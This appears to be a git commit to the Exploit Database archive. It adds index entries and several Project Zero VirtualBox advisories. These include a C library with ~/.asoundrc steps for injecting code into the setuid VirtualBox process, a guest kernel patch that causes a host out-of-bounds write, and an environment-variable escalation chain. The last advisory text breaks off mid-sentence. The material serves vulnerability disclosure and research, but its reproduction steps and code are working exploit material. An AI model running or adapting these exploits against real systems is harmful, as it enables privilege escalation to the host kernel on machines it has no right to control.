DB: 2017-04-21
10 new exploits Femitter FTP Server 1.03 - (RETR) Remote Denial of Service (PoC) Femitter FTP Server 1.03 - 'RETR' Remote Denial of Service (PoC) VirtualBox - Environment and ioctl Unprivileged Host User to Host Kernel Privilege Escalation VirtualBox - 'virtio-net' Guest-to-Host Out-of-Bounds Write Microsoft Windows 10 10586 - IEETWCollector Arbitrary Directory/File Deletion Privilege Escalation Microsoft Windows 10 - Runtime Broker ClipboardBroker Privilege Escalation VirtualBox - Guest-to-Host Privilege Escalation via Broken Length Handling in slirp Copy VirtualBox 5.1.14 r112924 - Unprivileged Host User to Host Kernel Privilege Escalation via ALSA config VirtualBox 5.0.32 r112930 x64 - Windows Process COM Injection Privilege Escalation 3proxy 0.5.3g (Linux) - proxy.c logurl() Remote Buffer Overflow 3proxy 0.5.3g (Windows x86) - proxy.c logurl() Remote Buffer Overflow 3proxy 0.5.3g - proxy.c logurl() Remote Overflow (exec-shield) 3proxy 0.5.3g (Linux) - 'proxy.c' 'logurl()' Remote Buffer Overflow 3proxy 0.5.3g (Windows x86) - 'proxy.c' 'logurl()' Remote Buffer Overflow 3proxy 0.5.3g - (exec-shield) 'proxy.c' 'logurl()' Remote Overflow 3proxy 0.5.3g (Windows x86) - logurl() Remote Buffer Overflow (Perl) 3proxy 0.5.3g (Windows x86) - 'logurl()' Remote Buffer Overflow (Perl) Microsoft Windows - ManagementObject Arbitrary .NET Serialization Remote Code Execution Apple WebKit / Safari 10.0.2(12602.3.12.0.1) - 'PrototypeMap::createEmptyStructure' Universal Cross-Site Scripting Apple WebKit / Safari 10.0.2(12602.3.12.0.1) - 'operationSpreadGeneric' Universal Cross-Site Scripting
This commit is contained in:
parent
e4eda3f58a
commit
5386bd7110
13 changed files with 1474 additions and 7 deletions
20
files.csv
20
files.csv
|
@ -793,7 +793,7 @@ id,file,description,date,author,platform,type,port
|
|||
6471,platforms/multiple/dos/6471.pl,"Apple QuickTime 7.5.5 / iTunes 8.0 - Remote Off-by-One Crash",2008-09-16,securfrog,multiple,dos,0
|
||||
6472,platforms/multiple/dos/6472.c,"Postfix < 2.4.9 / 2.5.5 / 2.6-20080902 - '.forward' Local Denial of Service",2008-09-16,"Albert Sellares",multiple,dos,0
|
||||
6474,platforms/windows/dos/6474.rb,"WonderWare SuiteLink 2.0 - Remote Denial of Service (Metasploit)",2008-09-17,"belay tows",windows,dos,0
|
||||
6481,platforms/php/dos/6481.c,"Femitter FTP Server 1.03 - (RETR) Remote Denial of Service (PoC)",2008-09-17,LiquidWorm,php,dos,0
|
||||
6481,platforms/php/dos/6481.c,"Femitter FTP Server 1.03 - 'RETR' Remote Denial of Service (PoC)",2008-09-17,LiquidWorm,php,dos,0
|
||||
6493,platforms/linux/dos/6493.pl,"fhttpd 0.4.2 un64() - Remote Denial of Service",2008-09-19,"Jeremy Brown",linux,dos,0
|
||||
6496,platforms/windows/dos/6496.c,"DESlock+ < 3.2.7 - Local Kernel Overflow (PoC)",2008-09-20,mu-b,windows,dos,0
|
||||
6497,platforms/windows/dos/6497.c,"DESlock+ < 3.2.7 - Local Kernel Race Condition Denial of Service (PoC)",2008-09-20,mu-b,windows,dos,0
|
||||
|
@ -5471,6 +5471,8 @@ id,file,description,date,author,platform,type,port
|
|||
41880,platforms/windows/dos/41880.cpp,"Microsoft Windows Kernel - 'win32kfull!SfnINLPUAHDRAWMENUITEM' Stack Memory Disclosure",2017-04-13,"Google Security Research",windows,dos,0
|
||||
41891,platforms/windows/dos/41891.rb,"Microsoft Windows - Unauthenticated SMB Remote Code Execution (MS17-010) (Metasploit)",2017-04-17,"Sean Dillon",windows,dos,445
|
||||
41893,platforms/linux/dos/41893.txt,"pinfo 0.6.9 - Local Buffer Overflow",2017-04-18,"Nassim Asrir",linux,dos,0
|
||||
41905,platforms/multiple/dos/41905.txt,"VirtualBox - Environment and ioctl Unprivileged Host User to Host Kernel Privilege Escalation",2017-04-20,"Google Security Research",multiple,dos,0
|
||||
41906,platforms/multiple/dos/41906.txt,"VirtualBox - 'virtio-net' Guest-to-Host Out-of-Bounds Write",2017-04-20,"Google Security Research",multiple,dos,0
|
||||
3,platforms/linux/local/3.c,"Linux Kernel 2.2.x / 2.4.x (RedHat) - 'ptrace/kmod' Privilege Escalation",2003-03-30,"Wojciech Purczynski",linux,local,0
|
||||
4,platforms/solaris/local/4.c,"Sun SUNWlldap Library Hostname - Buffer Overflow",2003-04-01,Andi,solaris,local,0
|
||||
12,platforms/linux/local/12.c,"Linux Kernel < 2.4.20 - Module Loader Privilege Escalation",2003-04-14,KuRaK,linux,local,0
|
||||
|
@ -8945,6 +8947,11 @@ id,file,description,date,author,platform,type,port
|
|||
41873,platforms/osx/local/41873.sh,"GNS3 Mac OS-X 1.5.2 - 'ubridge' Privilege Escalation",2017-04-13,"Hacker Fantastic",osx,local,0
|
||||
41875,platforms/linux/local/41875.py,"PonyOS 4.0 - 'fluttershy' LD_LIBRARY_PATH Kernel Privilege Escalation",2017-04-02,"Hacker Fantastic",linux,local,0
|
||||
41878,platforms/windows/local/41878.txt,"Adobe Creative Cloud Desktop Application < 4.0.0.185 - Privilege Escalation",2017-04-13,hyp3rlinx,windows,local,0
|
||||
41901,platforms/windows/local/41901.cs,"Microsoft Windows 10 10586 - IEETWCollector Arbitrary Directory/File Deletion Privilege Escalation",2017-04-20,"Google Security Research",windows,local,0
|
||||
41902,platforms/windows/local/41902.txt,"Microsoft Windows 10 - Runtime Broker ClipboardBroker Privilege Escalation",2017-04-20,"Google Security Research",windows,local,0
|
||||
41904,platforms/multiple/local/41904.txt,"VirtualBox - Guest-to-Host Privilege Escalation via Broken Length Handling in slirp Copy",2017-04-20,"Google Security Research",multiple,local,0
|
||||
41907,platforms/linux/local/41907.c,"VirtualBox 5.1.14 r112924 - Unprivileged Host User to Host Kernel Privilege Escalation via ALSA config",2017-04-20,"Google Security Research",linux,local,0
|
||||
41908,platforms/windows/local/41908.txt,"VirtualBox 5.0.32 r112930 x64 - Windows Process COM Injection Privilege Escalation",2017-04-20,"Google Security Research",windows,local,0
|
||||
1,platforms/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote Exploit",2003-03-23,kralor,windows,remote,80
|
||||
2,platforms/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote Exploit (PoC)",2003-03-24,RoMaNSoFt,windows,remote,80
|
||||
5,platforms/windows/remote/5.c,"Microsoft Windows - RPC Locator Service Remote Exploit",2003-04-03,"Marcin Wolak",windows,remote,139
|
||||
|
@ -9616,9 +9623,9 @@ id,file,description,date,author,platform,type,port
|
|||
3808,platforms/windows/remote/3808.html,"Microsoft Internet Explorer - NCTAudioFile2.AudioFile ActiveX Remote Stack Overflow (2)",2007-04-27,shinnai,windows,remote,0
|
||||
3810,platforms/windows/remote/3810.html,"IPIX Image Well ActiveX - 'iPIX-ImageWell-ipix.dll' Buffer Overflow",2007-04-27,"Umesh Wanve",windows,remote,0
|
||||
3815,platforms/linux/remote/3815.c,"Fenice Oms server 1.10 - Remote Buffer Overflow (exec-shield)",2007-04-29,Xpl017Elz,linux,remote,0
|
||||
3821,platforms/linux/remote/3821.c,"3proxy 0.5.3g (Linux) - proxy.c logurl() Remote Buffer Overflow",2007-04-30,vade79,linux,remote,0
|
||||
3822,platforms/win_x86/remote/3822.c,"3proxy 0.5.3g (Windows x86) - proxy.c logurl() Remote Buffer Overflow",2007-04-30,vade79,win_x86,remote,0
|
||||
3829,platforms/linux/remote/3829.c,"3proxy 0.5.3g - proxy.c logurl() Remote Overflow (exec-shield)",2007-05-02,Xpl017Elz,linux,remote,0
|
||||
3821,platforms/linux/remote/3821.c,"3proxy 0.5.3g (Linux) - 'proxy.c' 'logurl()' Remote Buffer Overflow",2007-04-30,vade79,linux,remote,0
|
||||
3822,platforms/win_x86/remote/3822.c,"3proxy 0.5.3g (Windows x86) - 'proxy.c' 'logurl()' Remote Buffer Overflow",2007-04-30,vade79,win_x86,remote,0
|
||||
3829,platforms/linux/remote/3829.c,"3proxy 0.5.3g - (exec-shield) 'proxy.c' 'logurl()' Remote Overflow",2007-05-02,Xpl017Elz,linux,remote,0
|
||||
3844,platforms/windows/remote/3844.html,"ActSoft DVD-Tools - 'dvdtools.ocx 3.8.5.0' Stack Overflow",2007-05-04,shinnai,windows,remote,0
|
||||
3872,platforms/windows/remote/3872.html,"Taltech Tal Bar Code - ActiveX Control Buffer Overflow",2007-05-08,"Umesh Wanve",windows,remote,0
|
||||
3877,platforms/windows/remote/3877.html,"IncrediMail IMMenuShellExt - ActiveX Control Buffer Overflow",2007-05-08,"Umesh Wanve",windows,remote,0
|
||||
|
@ -9793,7 +9800,7 @@ id,file,description,date,author,platform,type,port
|
|||
4745,platforms/windows/remote/4745.cpp,"Microsoft Windows Message Queuing Service - RPC Buffer Overflow (MS07-065) (1)",2007-12-18,axis,windows,remote,0
|
||||
4746,platforms/windows/remote/4746.html,"RavWare Software - '.MAS' Flic Control Remote Buffer Overflow",2007-12-18,shinnai,windows,remote,0
|
||||
4747,platforms/windows/remote/4747.vbs,"RaidenHTTPD 2.0.19 - (ulang) Remote Command Execution",2007-12-18,rgod,windows,remote,0
|
||||
4754,platforms/win_x86/remote/4754.pl,"3proxy 0.5.3g (Windows x86) - logurl() Remote Buffer Overflow (Perl)",2007-12-18,"Marcin Kozlowski",win_x86,remote,3128
|
||||
4754,platforms/win_x86/remote/4754.pl,"3proxy 0.5.3g (Windows x86) - 'logurl()' Remote Buffer Overflow (Perl)",2007-12-18,"Marcin Kozlowski",win_x86,remote,3128
|
||||
4760,platforms/windows/remote/4760.txt,"Microsoft Windows Server 2000 SP4 (Advanced Server) - Message Queue Exploit (MS07-065)",2007-12-21,"Andres Tarasco",windows,remote,0
|
||||
4761,platforms/multiple/remote/4761.pl,"Sendmail with clamav-milter < 0.91.2 - Remote Command Execution",2007-12-21,eliteboy,multiple,remote,25
|
||||
4784,platforms/windows/remote/4784.pl,"BadBlue 2.72 - PassThru Remote Buffer Overflow",2007-12-24,"Jacopo Cervini",windows,remote,80
|
||||
|
@ -15452,6 +15459,7 @@ id,file,description,date,author,platform,type,port
|
|||
41892,platforms/linux/remote/41892.sh,"Tenable Appliance < 4.5 - Unauthenticated Root Remote Code Execution",2017-04-18,agix,linux,remote,8000
|
||||
41894,platforms/windows/remote/41894.py,"Microsoft Word - '.RTF' Remote Code Execution",2017-04-18,"Bhadresh Patel",windows,remote,0
|
||||
41895,platforms/hardware/remote/41895.rb,"Huawei HG532n - Command Injection (Metasploit)",2017-04-19,Metasploit,hardware,remote,0
|
||||
41903,platforms/windows/remote/41903.txt,"Microsoft Windows - ManagementObject Arbitrary .NET Serialization Remote Code Execution",2017-04-20,"Google Security Research",windows,remote,0
|
||||
14113,platforms/arm/shellcode/14113.txt,"Linux/ARM - setuid(0) & execve(_/bin/sh___/bin/sh__0) Shellcode (38 bytes)",2010-06-29,"Jonathan Salwan",arm,shellcode,0
|
||||
13241,platforms/aix/shellcode/13241.txt,"AIX - execve /bin/sh Shellcode (88 bytes)",2004-09-26,"Georgi Guninski",aix,shellcode,0
|
||||
13242,platforms/bsd/shellcode/13242.txt,"BSD - Passive Connection Shellcode (124 bytes)",2000-11-19,Scrippie,bsd,shellcode,0
|
||||
|
@ -37687,6 +37695,7 @@ id,file,description,date,author,platform,type,port
|
|||
41697,platforms/linux/webapps/41697.rb,"SixApart MovableType < 5.2.12 - Storable Perl Code Execution (Metasploit)",2015-02-11,Metasploit,linux,webapps,0
|
||||
41698,platforms/linux/webapps/41698.rb,"WordPress Theme Holding Pattern - Arbitrary File Upload (Metasploit)",2015-02-11,Metasploit,linux,webapps,0
|
||||
41714,platforms/windows/webapps/41714.rb,"Distinct TFTP 3.10 - Writable Directory Traversal Execution (Metasploit)",2012-04-08,Metasploit,windows,webapps,0
|
||||
41899,platforms/multiple/webapps/41899.html,"Apple WebKit / Safari 10.0.2(12602.3.12.0.1) - 'PrototypeMap::createEmptyStructure' Universal Cross-Site Scripting",2017-04-20,"Google Security Research",multiple,webapps,0
|
||||
41716,platforms/php/webapps/41716.txt,"Gr8 Tutorial Script - SQL Injection",2017-03-24,"Ihsan Sencan",php,webapps,0
|
||||
41717,platforms/php/webapps/41717.txt,"Gr8 Gallery Script - SQL Injection",2017-03-24,"Ihsan Sencan",php,webapps,0
|
||||
41724,platforms/php/webapps/41724.txt,"Just Another Video Script 1.4.3 - SQL Injection",2017-03-26,"Ihsan Sencan",php,webapps,0
|
||||
|
@ -37754,3 +37763,4 @@ id,file,description,date,author,platform,type,port
|
|||
41884,platforms/php/webapps/41884.rb,"Alienvault OSSIM/USM 5.3.4/5.3.5 - Remote Command Execution (Metasploit)",2017-04-13,"Peter Lapp",php,webapps,0
|
||||
41885,platforms/php/webapps/41885.txt,"Concrete5 8.1.0 - 'Host' Header Injection",2017-04-14,hyp3rlinx,php,webapps,0
|
||||
41890,platforms/php/webapps/41890.txt,"Mantis Bug Tracker 1.3.0/2.3.0 - Password Reset",2017-04-16,hyp3rlinx,php,webapps,0
|
||||
41900,platforms/multiple/webapps/41900.html,"Apple WebKit / Safari 10.0.2(12602.3.12.0.1) - 'operationSpreadGeneric' Universal Cross-Site Scripting",2017-04-20,"Google Security Research",multiple,webapps,0
|
||||
|
|
Can't render this file because it is too large.
|
82
platforms/linux/local/41907.c
Executable file
82
platforms/linux/local/41907.c
Executable file
|
@ -0,0 +1,82 @@
|
|||
/*
|
||||
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1141
|
||||
|
||||
This is another way to escalate from an unprivileged userspace process
|
||||
into the VirtualBox process, which has an open file descriptor to the
|
||||
privileged device /dev/vboxdrv and can use that to compromise the
|
||||
host kernel.
|
||||
|
||||
The issue is that, for VMs with ALSA audio, the privileged VM host
|
||||
process loads libasound, which parses ALSA configuration files,
|
||||
including one at ~/.asoundrc. ALSA is not designed to run in a setuid
|
||||
context and therefore deliberately permits loading arbitrary shared
|
||||
libraries via dlopen().
|
||||
|
||||
To reproduce, on a normal Ubuntu desktop installation with VirtualBox
|
||||
installed, first configure a VM with ALSA audio, then (where
|
||||
ee347b44-b82d-41c2-b643-366cf297a37c is the ID of that VM):
|
||||
|
||||
|
||||
~$ cd /tmp
|
||||
/tmp$ cat > evil_vbox_lib.c
|
||||
*/
|
||||
|
||||
#define _GNU_SOURCE
|
||||
|
||||
#include <string.h>
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
#include <fcntl.h>
|
||||
#include <sys/prctl.h>
|
||||
|
||||
extern char *program_invocation_short_name;
|
||||
|
||||
__attribute__((constructor)) void run(void) {
|
||||
if (strcmp(program_invocation_short_name, "VirtualBox"))
|
||||
return;
|
||||
|
||||
prctl(PR_SET_DUMPABLE, 1);
|
||||
printf("running in pid %d\n", getpid());
|
||||
printf("searching for vboxdrv file descriptor in current process...\n");
|
||||
char linkbuf[1000];
|
||||
char *needle = "/dev/vboxdrv";
|
||||
for (int i=0; i<1000; i++) {
|
||||
char linkpath[1000];
|
||||
sprintf(linkpath, "/proc/self/fd/%d", i);
|
||||
ssize_t linklen = readlink(linkpath, linkbuf, sizeof(linkbuf)-1);
|
||||
if (linklen == -1) continue;
|
||||
if (linklen == strlen(needle) && memcmp(linkbuf, needle, strlen(needle)) == 0) {
|
||||
printf("found it, fd %d is /dev/vboxdrv\n", i);
|
||||
}
|
||||
}
|
||||
_exit(0);
|
||||
}
|
||||
|
||||
/*
|
||||
/tmp$ gcc -shared -o evil_vbox_lib.so evil_vbox_lib.c -fPIC -Wall -ldl -std=gnu99
|
||||
/tmp$ cat > ~/.asoundrc
|
||||
hook_func.pulse_load_if_running {
|
||||
lib "/tmp/evil_vbox_lib.so"
|
||||
func "conf_pulse_hook_load_if_running"
|
||||
}
|
||||
/tmp$ /usr/lib/virtualbox/VirtualBox --startvm ee347b44-b82d-41c2-b643-366cf297a37c
|
||||
running in pid 8910
|
||||
searching for vboxdrv file descriptor in current process...
|
||||
found it, fd 7 is /dev/vboxdrv
|
||||
/tmp$ rm ~/.asoundrc
|
||||
|
||||
|
||||
I believe that the ideal way to fix this would involve running
|
||||
libasound, together with other code that doesn't require elevated
|
||||
privileges - which would ideally be all userland code -, in an
|
||||
unprivileged process. However, for now, moving only the audio output
|
||||
handling into an unprivileged process might also do the job; I haven't
|
||||
yet checked whether there are more libraries VirtualBox loads that
|
||||
permit loading arbitrary libraries into the VirtualBox process.
|
||||
|
||||
You could probably theoretically also fix this by modifying libasound
|
||||
to suppress dangerous configuration directives in ~/.asoundrc, but I
|
||||
believe that that would be brittle and hard to maintain.
|
||||
|
||||
Tested on Ubuntu 14.04.5 with VirtualBox 5.1.14 r112924.
|
||||
*/
|
|
@ -9,7 +9,7 @@
|
|||
|
||||
|
||||
Additional analysis:
|
||||
https://www.onvio.nl/nieuws/cve-2017-6191-apngdis-chunk-size-descriptor-buffer-overflow
|
||||
https://www.onvio.nl/nieuws/cve-2017-6192
|
||||
|
||||
POC:
|
||||
|
||||
|
|
|
@ -8,7 +8,7 @@
|
|||
# CVE : CVE-2017-6193
|
||||
|
||||
Additional analysis:
|
||||
https://www.onvio.nl/nieuws/cve-2017-6192-apngdis-width-height-buffer-overflow
|
||||
https://www.onvio.nl/nieuws/cve-2017-6193
|
||||
|
||||
POC:
|
||||
|
||||
|
|
67
platforms/multiple/dos/41905.txt
Executable file
67
platforms/multiple/dos/41905.txt
Executable file
|
@ -0,0 +1,67 @@
|
|||
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1091
|
||||
|
||||
This bug report describes two separate issues that, when combined,
|
||||
allow any user on a Linux host system on which VirtualBox is installed
|
||||
to gain code execution in the kernel. Since I'm not sure which one of
|
||||
these issues crosses something you consider to be a privilege boundary,
|
||||
I'm reporting them together.
|
||||
|
||||
To reproduce, download the attached file
|
||||
virtualbox-host-r3-to-host-r0-crasher.tar, ensure that at least one VM
|
||||
is running, then:
|
||||
|
||||
/tmp$ tar xf virtualbox-host-r3-to-host-r0-crasher.tar
|
||||
/tmp$ cd virtualbox-host-r3-to-host-r0-crasher/
|
||||
/tmp/virtualbox-host-r3-to-host-r0-crasher$ ./attack.sh
|
||||
./attack.sh: line 7: 82634 Killed QT_QPA_PLATFORM_PLUGIN_PATH=fake_qt_platform_plugins /usr/lib/virtualbox/VirtualBox --startvm
|
||||
/tmp/virtualbox-host-r3-to-host-r0-crasher$ dmesg
|
||||
[...]
|
||||
[279468.028025] BUG: unable to handle kernel paging request at 0000000013370028
|
||||
[...]
|
||||
|
||||
|
||||
The first step of the attack is to get access to the device
|
||||
/dev/vboxdrv, which can normally only be opened by root:
|
||||
|
||||
~$ ls -l /dev/vboxdrv
|
||||
crw------- 1 root root 10, 54 Jan 17 16:23 /dev/vboxdrv
|
||||
|
||||
In order to be able to open this device, the main VirtualBox binary is
|
||||
setuid root:
|
||||
|
||||
$ ls -l /usr/lib/virtualbox/VirtualBox
|
||||
-r-s--x--x 1 root root 35240 Jan 16 19:55 /usr/lib/virtualbox/VirtualBox
|
||||
|
||||
VirtualBox uses its root privileges to open /dev/vboxdrv, then quickly
|
||||
drops its privileges. However, it retains the open file descriptor to
|
||||
/dev/vboxdrv. Therefore, an attacker can gain access to the device
|
||||
/dev/vboxdrv by injecting code into a VirtualBox userspace process.
|
||||
|
||||
After dropping privileges, VirtualBox loads various libraries,
|
||||
including QT, that are not designed to run in a setuid context.
|
||||
See https://doc.qt.io/qt-5/qcoreapplication.html#setSetuidAllowed :
|
||||
"Qt is not an appropriate solution for setuid programs due to its
|
||||
large attack surface." Using the environment variable
|
||||
QT_QPA_PLATFORM_PLUGIN_PATH, an attacker can let QT load a library
|
||||
from an arbitrary directory.
|
||||
|
||||
|
||||
The second step is to use the device /dev/vboxdrv to corrupt the
|
||||
kernel. The SUP_IOCTL_CALL_VMMR0 ioctl takes a pointer to a structure
|
||||
in ring 0 as an argument (pVMR0) and ends up calling the function
|
||||
VMMR0EntryEx(). With the attached PoC, this function crashes when
|
||||
attempting to read pVM->pVMR0. However, an attacker who supplies a
|
||||
pointer to attacker-controlled kernel memory could reach any point in
|
||||
the function. For some operations, e.g.
|
||||
VMMR0_DO_VMMR0_INIT, the attacker-controlled pointer pVM is then used
|
||||
in vmmR0CallRing3SetJmpEx() to save and restore various kernel
|
||||
registers, including RSP. By supplying a pointer to which the attacker
|
||||
can concurrently write data, an attacker can therefore control the
|
||||
kernel stack and thereby perform arbitrary operations in the kernel.
|
||||
(As far as I can tell, a comment in VMMR0EntryEx points out this
|
||||
issue: "/** @todo validate this EMT claim... GVM knows. */")
|
||||
|
||||
|
||||
Proof of Concept:
|
||||
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/41905.zip
|
||||
|
158
platforms/multiple/dos/41906.txt
Executable file
158
platforms/multiple/dos/41906.txt
Executable file
|
@ -0,0 +1,158 @@
|
|||
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1136
|
||||
|
||||
This is a vulnerability that affects VirtualBox VMs that use a virtio
|
||||
network adapter (which is a non-standard configuration). It permits
|
||||
the guest kernel to write up to 4GB of controlled data out of bounds
|
||||
in the trusted userland host process.
|
||||
|
||||
The bug is in the following code in
|
||||
src/VBox/Devices/Network/DevVirtioNet.cpp (comments starting with
|
||||
`//###` are by me):
|
||||
|
||||
while (vqueuePeek(&pThis->VPCI, pQueue, &elem))
|
||||
{
|
||||
unsigned int uOffset = 0;
|
||||
if (elem.nOut < 2 || elem.aSegsOut[0].cb != uHdrLen)
|
||||
{
|
||||
[...]
|
||||
}
|
||||
else
|
||||
{
|
||||
unsigned int uSize = 0;
|
||||
[...]
|
||||
/* Compute total frame size. */
|
||||
//### .cb members are attacker-controlled uint32_t.
|
||||
//### addition is performed without overflow check.
|
||||
for (unsigned int i = 1; i < elem.nOut; i++)
|
||||
uSize += elem.aSegsOut[i].cb;
|
||||
[...]
|
||||
//### Assert() has no effect in release builds.
|
||||
Assert(uSize <= VNET_MAX_FRAME_SIZE);
|
||||
if (pThis->pDrv)
|
||||
{
|
||||
[...]
|
||||
PPDMSCATTERGATHER pSgBuf;
|
||||
//### undersized buffer is allocated here.
|
||||
int rc = pThis->pDrv->pfnAllocBuf(pThis->pDrv, uSize, pGso, &pSgBuf);
|
||||
if (RT_SUCCESS(rc))
|
||||
{
|
||||
Assert(pSgBuf->cSegs == 1);
|
||||
/* Assemble a complete frame. */
|
||||
for (unsigned int i = 1; i < elem.nOut; i++)
|
||||
{
|
||||
//### memory corruption happens here.
|
||||
PDMDevHlpPhysRead(pThis->VPCI.CTX_SUFF(pDevIns), elem.aSegsOut[i].addr,
|
||||
((uint8_t*)pSgBuf->aSegs[0].pvSeg) + uOffset,
|
||||
elem.aSegsOut[i].cb);
|
||||
uOffset += elem.aSegsOut[i].cb;
|
||||
}
|
||||
[...]
|
||||
}
|
||||
else
|
||||
{
|
||||
[...]
|
||||
}
|
||||
[...]
|
||||
}
|
||||
}
|
||||
[...]
|
||||
}
|
||||
|
||||
This code basically takes an IO vector (`elem.aSegsOut`) from the
|
||||
guest, allocates a buffer (`pSgBuf`) that is large enough to hold the
|
||||
concatenation of all elements of the IO vector, then copies data from
|
||||
the IO vector into the newly allocated buffer. The issue here is that
|
||||
the lengths from the IO vector are summed up without overflow
|
||||
checking. If the total length of the IO vector is over 4GB, `uSize`
|
||||
wraps around, causing the allocated buffer to be up to 4GB smaller
|
||||
than the data that is copied into it.
|
||||
|
||||
The reason why the amount of data that is written out of bounds can be
|
||||
less than 4GB is that uOffset is also only 32 bits wide, causing the
|
||||
start offsets of the IO vector elements to wrap.
|
||||
|
||||
A VM does not need to have 4GB of memory to be able to trigger the bug.
|
||||
|
||||
|
||||
To reproduce, create a VM with 2GB of RAM, configure the VM to use
|
||||
virtio, then run a Linux system with the following kernel patch
|
||||
applied inside the VM:
|
||||
|
||||
# git show --format=oneline HEAD
|
||||
0722f57bfae9abbc673b9dbe495c7da2f64676ea Merge tag 'drm-fixes-for-v4.10-final' of git://people.freedesktop.org/~airlied/linux
|
||||
# git diff
|
||||
diff --git a/drivers/virtio/virtio_ring.c b/drivers/virtio/virtio_ring.c
|
||||
index 409aeaa..7eca030 100644
|
||||
--- a/drivers/virtio/virtio_ring.c
|
||||
+++ b/drivers/virtio/virtio_ring.c
|
||||
@@ -271,6 +271,7 @@ static inline int virtqueue_add(struct virtqueue *_vq,
|
||||
unsigned int i, n, avail, descs_used, uninitialized_var(prev), err_idx;
|
||||
int head;
|
||||
bool indirect;
|
||||
+ int attack_i;
|
||||
|
||||
START_USE(vq);
|
||||
|
||||
@@ -301,7 +302,7 @@ static inline int virtqueue_add(struct virtqueue *_vq,
|
||||
|
||||
/* If the host supports indirect descriptor tables, and we have multiple
|
||||
* buffers, then go indirect. FIXME: tune this threshold */
|
||||
- if (vq->indirect && total_sg > 1 && vq->vq.num_free)
|
||||
+ if (false)
|
||||
desc = alloc_indirect(_vq, total_sg, gfp);
|
||||
else
|
||||
desc = NULL;
|
||||
@@ -316,7 +317,7 @@ static inline int virtqueue_add(struct virtqueue *_vq,
|
||||
indirect = false;
|
||||
desc = vq->vring.desc;
|
||||
i = head;
|
||||
- descs_used = total_sg;
|
||||
+ descs_used = total_sg + 4;
|
||||
}
|
||||
|
||||
if (vq->vq.num_free < descs_used) {
|
||||
@@ -346,6 +347,13 @@ static inline int virtqueue_add(struct virtqueue *_vq,
|
||||
i = virtio16_to_cpu(_vq->vdev, desc[i].next);
|
||||
}
|
||||
}
|
||||
+ for (attack_i = 0; attack_i < 4; attack_i++) {
|
||||
+ desc[i].flags = cpu_to_virtio16(_vq->vdev, VRING_DESC_F_NEXT);
|
||||
+ desc[i].addr = cpu_to_virtio64(_vq->vdev, 0x100000);
|
||||
+ desc[i].len = cpu_to_virtio32(_vq->vdev, 0x40000000);
|
||||
+ prev = i;
|
||||
+ i = virtio16_to_cpu(_vq->vdev, desc[i].next);
|
||||
+ }
|
||||
for (; n < (out_sgs + in_sgs); n++) {
|
||||
for (sg = sgs[n]; sg; sg = sg_next(sg)) {
|
||||
dma_addr_t addr = vring_map_one_sg(vq, sg, DMA_FROM_DEVICE);
|
||||
|
||||
|
||||
As soon as the VM tries to talk to the network, the VM will crash.
|
||||
In a test with VirtualBox 5.1.14 r112924, a segfault occured with the
|
||||
following backtrace:
|
||||
|
||||
(gdb) bt
|
||||
#0 __memcpy_sse2_unaligned () at ../sysdeps/x86_64/multiarch/memcpy-sse2-unaligned.S:37
|
||||
#1 0x00007f6896620cbe in PGMPhysRead () from /usr/lib/virtualbox/components/VBoxVMM.so
|
||||
#2 0x00007f685416cb9d in ?? () from /usr/lib/virtualbox/VBoxDD.so
|
||||
#3 0x00007f685416cfea in ?? () from /usr/lib/virtualbox/VBoxDD.so
|
||||
#4 0x00007f689657434e in ?? () from /usr/lib/virtualbox/components/VBoxVMM.so
|
||||
#5 0x00007f6896576fc0 in TMR3TimerQueuesDo () from /usr/lib/virtualbox/components/VBoxVMM.so
|
||||
#6 0x00007f689657fa99 in ?? () from /usr/lib/virtualbox/components/VBoxVMM.so
|
||||
#7 0x00007f6896580a63 in ?? () from /usr/lib/virtualbox/components/VBoxVMM.so
|
||||
#8 0x00007f689650cd09 in ?? () from /usr/lib/virtualbox/components/VBoxVMM.so
|
||||
#9 0x00007f6896580cd4 in ?? () from /usr/lib/virtualbox/components/VBoxVMM.so
|
||||
#10 0x00007f68a5a6981c in ?? () from /usr/lib/virtualbox/VBoxRT.so
|
||||
#11 0x00007f68a5aedc7c in ?? () from /usr/lib/virtualbox/VBoxRT.so
|
||||
#12 0x00007f68a6397184 in start_thread (arg=0x7f6875af6700) at pthread_create.c:312
|
||||
#13 0x00007f68a5ec037d in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:111
|
||||
|
||||
|
||||
Regarding exploitability: I have not investigated exploitability in
|
||||
detail; however, I believe that this issue is probably exploitable.
|
||||
For example, if the network interface is a NAT interface,
|
||||
drvNATNetworkUp_AllocBuf() is used to allocate the buffer, which in
|
||||
the pGso!=NULL case will allocate an arbitrarily-sized buffer with
|
||||
RTMemAlloc(), which should allow arbitrarily-sized allocations,
|
||||
permitting an out-of-bounds write behind a big heap allocation with
|
||||
fully controlled length and data.
|
318
platforms/multiple/local/41904.txt
Executable file
318
platforms/multiple/local/41904.txt
Executable file
|
@ -0,0 +1,318 @@
|
|||
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1086
|
||||
|
||||
There is a vulnerability in VirtualBox that permits an attacker with
|
||||
root privileges in a virtual machine with a NAT network interface to
|
||||
corrupt the memory of the userspace host process and leak memory
|
||||
contents from the userspace host process. This probably permits an
|
||||
attacker with root privileges inside the guest to execute arbitrary
|
||||
code in userspace context on the host.
|
||||
|
||||
The issue is in the copy of slirp that is shipped in VirtualBox, in
|
||||
the function ip_input() in src/VBox/Devices/Network/slirp/ip_input.c:
|
||||
|
||||
void
|
||||
ip_input(PNATState pData, struct mbuf *m)
|
||||
{
|
||||
register struct ip *ip;
|
||||
[...]
|
||||
ip = mtod(m, struct ip *);
|
||||
[...]
|
||||
{
|
||||
[...]
|
||||
/*
|
||||
* XXX: TODO: this is most likely a leftover spooky action at
|
||||
* a distance from alias_dns.c host resolver code and can be
|
||||
* g/c'ed.
|
||||
*/
|
||||
if (m->m_len != RT_N2H_U16(ip->ip_len))
|
||||
m->m_len = RT_N2H_U16(ip->ip_len);
|
||||
}
|
||||
[...]
|
||||
}
|
||||
|
||||
This code does not seem to be present in the upstream version of
|
||||
slirp.
|
||||
|
||||
The assignment `m->m_len = RT_N2H_U16(ip->ip_len)` overwrites the
|
||||
trusted length field `m_len` of the buffer `m` with the untrusted
|
||||
length field in the IP header of the received packet. At this point,
|
||||
